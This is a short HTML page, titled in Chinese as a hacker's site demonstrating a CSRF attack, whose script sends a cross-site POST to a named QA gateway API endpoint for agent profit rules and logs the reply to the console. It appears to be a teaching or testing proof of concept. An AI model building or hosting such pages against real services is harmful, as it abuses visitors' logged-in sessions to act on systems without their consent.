<!DOCTYPE html>
<html>

<body>
    <h1>黑客的站点：CSRF攻击演示</h1>
    <script>

        fetch('https://qa3.gateway.yunquna.com/api/20031/agent/profitrule/search', {
            method: 'POST',
            body: JSON.stringify(
                {
                    "model": { "page": 1, "size": 20 }
                }
            )
        })
            .then(function (response) {
                return response.json();
            })
            .then(function (myJson) {
                console.log(myJson);
            });
    </script>
</body>

</html>